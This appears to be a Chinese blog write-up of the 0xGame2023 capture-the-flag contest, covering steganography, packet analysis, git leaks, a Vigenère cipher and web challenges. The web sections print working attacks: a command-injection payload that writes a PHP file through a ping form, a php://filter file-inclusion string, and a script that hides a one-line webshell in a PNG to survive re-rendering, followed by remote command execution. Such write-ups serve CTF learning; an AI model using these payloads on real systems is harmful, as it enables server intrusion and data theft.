0xGame2023

[Week 1]

Misc

[Week 1] hide and seek

Hint 1: 如果我的hide是steghide那你该如何seek呢?
image.png
image.png
参考其他师傅的博客http://t.csdnimg.cn/5uwMx还有http://t.csdnimg.cn/rRu5L
image.png
用工具Steghide发现需要密码,咱没有密码只能用stegseek工具爆破github项目:https://github.com/RickdeJager/stegseek
字典文件:rockyou.txt
运行time stegseek hide\ and\ seek.jpg rockyou.txt之后在同目录下下发现flag文件
image.png

[Week 1] 重生之我在教学楼打cs

image.png
image.png
使用工具打开gcfscape186.zip
image.png
image.png

[Week 1] SignIn

image.png
附件内容:
R0I0RU9ZTE5NVjVWT1pMTU1NWUcyWks3S1JYVjZNRFlJNVFXMlpKU0dBWkRHSUpCUFU9PT09PT0=
解 base64 --> base32 即可
image.png

[Week 1] shark shark

image.png
wireShark打开后追踪TCP流,发现密码very_safe_password
image.png
image.png
在第四个流里面发现zip压缩包的十六进制数据,把它保存为txt文件,然后导入010editer后保存为zip文件
image.png
image.png
image.png
Ctrl + S快捷键保存文件
image.png
打开压缩包,解压需要密码,输入刚刚的very_safe_password,然后获得flag
image.png
image.png

[Week 1] least and most

image.png
LSB隐写,用StegSolve打开,选择Data Extract
image.png
image.png
RGB通道最后面那里打上三个√,选择LSB First,然后点击Preview获得前半段flag
image.png
根据题意,least的反义词就是most,那么我们把RGB通道最前面那里打上三个√,选择LSB First,然后点击Preview获得后半段flag
image.png

Web

其他师傅的WP0xGame2023 wp _ 甜筒园.htmlhttps://www.ttycp3.top/archives/d4f5203b.html

[Week 1] hello_http

image.png
依次传入这几个参数,并且修改HTTP头数据即可
image.png

[Week 1] signin

image.png
访问网站之后Ctrl + U 查看源代码,发现一个JS文件,点开看看
image.png
image.png
在这个js文件的最后一行发现了一行注释,它说源代码在index-33309f51.js.map,发现它和这个js的文件路径很像,那么我们访问一下
image.png
image.png
访问这个文件之后就会自动的下载下来,打开之后直接搜索0xgame就发现了flag
image.png
image.png

[Week 1] baby_php

a和b用数组绕过MD5弱比较,利用md5()函数的缺陷进行绕过;
is_numeric()函数用1024.1a绕。1024.1a是字符串,但是弱比较的时候,因为数字在前面,弱比较的时候,php会将其整体转成数字,就可以通过is_numeric() 的检测并且不等于1024;
而intval()函数 获取变量的整数值,那么1024.1就变成了1024;
最后Cookie传值name使用文件包含name=php://filter/convert.base64-encode/resource=flag

  • php://filter可以获取指定文件源码。当其与文件包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取任意文件源代码。

image.png
对其进行base64解码之后就可以获得flag
image.png
image.png

[Week 1] repo_leak

image.png
git泄露,用工具GitHacker

#安装
python3 -m pip install -i https://pypi.org/simple/ GitHacker
#运行
githacker --url http://120.27.148.152:50013/.git/ --output-folder result
#进入目录后查看历史版本
git log --reflog


#切换版本为flag那个
git reset --hard 8a5b670558921bd232d75b29542492f00698298b
#在当前目录匹配包含flag的文件
grep -r  "flag" ./

image.png
image.png

[Week 1] ping

image.png
image.png
Ctrl + U查看源代码,发现hint在api的源码里面
image.png
image.png

<?php

function sanitize($s) {
    $s = str_replace(';', '', $s);
    $s = str_replace(' ', '', $s);
    $s = str_replace('/', '', $s);
    $s = str_replace('flag', '', $s);
    return $s;
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (!isset($_POST['ip'])) {
    die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
    die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

利用管道符进行多命令执行,写文件到当前目录:

ip=127.0.0.1|echo${IFS}"PD9waHAgc3lzdGVtKCdjYXQgL2YqJyk7"|base64${IFS}-d${IFS}>1.php

image.png
image.png

Crypto

[Week 1] Vigenere

image.png
image.png
因为秘钥只能是字母,练习本次比赛,盲猜为game,猜对了
image.png

PWN

[Week 1] 找不到且不对劲的flag

image.png

依次输入命令即可

image.png

[Week 2]

Web

[Week 2] ez_upload

image.png
题目附件:
f044d557fc93de077e4fe649ed6280b3 (1).zip
image.png
先看一下附件的upload.php文件,发现imagecreatefromgif函数,搜索之后发现是二次渲染的函数

<?php

  session_start();

$user_dir = 'uploads/'.md5($_SERVER['REMOTE_ADDR']).'/';

if (!file_exists($user_dir)) {
  mkdir($user_dir);
}

switch ($_FILES['file']['type']) {
  case "image/gif":
  $source = imagecreatefromgif($_FILES['file']['tmp_name']);
  break;
  case "image/jpeg":
  $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
  break;
  case "image/png":
  $source = imagecreatefrompng($_FILES['file']['tmp_name']);
  break;
  default:
  die('Invalid file type!');
}

$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
$filepath = $user_dir.md5($_FILES['file']['name']).'.'.$ext;

switch ($_FILES['file']['type']) {
  case "image/gif":
  imagegif($source, $filepath);
  break;
  case "image/jpeg":
  imagejpeg($source, $filepath);
  break;
  case "image/png":
  imagepng($source, $filepath);
  break;
  default:
  die('Invalid file type!');
}

echo 'Upload avatar success! Path: '.$filepath;

$_SESSION['avatar'] = $filepath;
?>

【文件上传绕过】——二次渲染漏洞

参考博客:[http://t.csdnimg.cn/zBoVm](http://t.csdnimg.cn/zBoVm)
二次渲染原理:

 在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。

绕过:

将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话

先用脚本处理一个2.png

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

用记事本打开2.png发现里面有一句话木马
image.png
然后开启BurpSuite,在上传2.png的时候抓包,修改后缀为2.php,这样浏览器才能解析PHP代码
image.png
image.png
上传成功,获得文件路径,访问一下,发现已经成功解析代码,那么我们就可以进RCE(代码执行)了
image.png
image.png
通过下面的方式执行命令(貌似要结合文件包含,但我没发现):
get传参0=system
加上
post传参1=whoami
image.png
在发现已经执行whoami命令显示了用户www-data之后,那么我们ls /查看一下根目录文件
image.png
发现了flag文件,那么我们查看flag,POST传参1=cat /flag,那么就获得了最终flag
image.png
😭😭😭😭😭
花了三个小时才解出这题。 锲而不舍,金石可镂!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值